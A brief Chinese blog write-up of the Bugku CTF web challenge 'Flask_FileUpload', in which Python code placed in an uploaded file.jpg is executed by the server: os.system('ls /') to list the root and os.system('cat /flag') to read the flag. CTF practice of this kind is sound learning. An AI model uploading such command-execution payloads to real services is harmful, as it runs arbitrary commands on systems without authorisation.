技术栈

Bugku-web-Flask_FileUpload

黑白时光les2024-08-01 11:52

Bugku-web-Flask_FileUpload

查看源代码,提示用python返回结果

在file.jpg中写python代码

复制代码
import os
os.system('ls / ')

上传后查看源代码,找到flag文件夹

修改代码

复制代码
import os
os.system('cat /flag ')
上一篇:Python面试题:如何使用WebSocket实现实时Web应用
下一篇:单片机之串口通信协议
相关推荐
轮到我狗叫了
2 小时前
Slurm如何使用
人工智能·python·深度学习·机器学习
子非鱼a
2 小时前
【WEB】[NewStarCTF 公开赛赛道]UnserializeOne
前端·javascript·html
南雨北斗
3 小时前
Vue3 v-model中的自动事件绑定
前端
Ali88520
3 小时前
Python列表增删改查速查表和详细演示
python
新时代牛马
3 小时前
softirq 与tasklet:从irq_exit 到__do_softirq 的下半部路径
python
tqs_12345
3 小时前
值传递与引用传递
java·开发语言·python
YsyaaabB
3 小时前
Deep Agents 实战课程
python·langchain
金銀銅鐵
3 小时前
斐波那契数列中连续10项的和总是能被11整除吗?
python·数学
databook
3 小时前
用 Python 计算联合概率和条件概率
python·数据分析
雪芽蓝域zzs
4 小时前
第八节:Element Plus 基础、封装通用组件 + 路由守卫
前端·vue.js
热门推荐
01国内可直接用、免费额度/永久免费的大模型API清单(含 SiliconFlow、火山、阿里、智谱、百度、Kimi、DeepSeek、DMXAPI 等)02GitHub 镜像站点03ZCode 周末送额度活动开启:3 亿 Token 免费领取04历年考研数学一、数学二、数学三真题试卷及答案PDF052026 国产 AI 大模型横评:DeepSeek、通义千问、Kimi、文心一言、星火、豆包谁更能打?06微信历史版本含下载地址( Windows PC | 安卓 | MAC )及设置微信不更新07Agnes AI 免费 API 接入指南:文本、生图、生视频,一套接口全免费08AI 编程 IDE 全景解析 2026:Agent 全面接管开发链路09蜘蛛磁力 搜索引擎大全,如何使用蜘蛛磁力查找磁力链接10VSCode+CodeX扩展,无法启动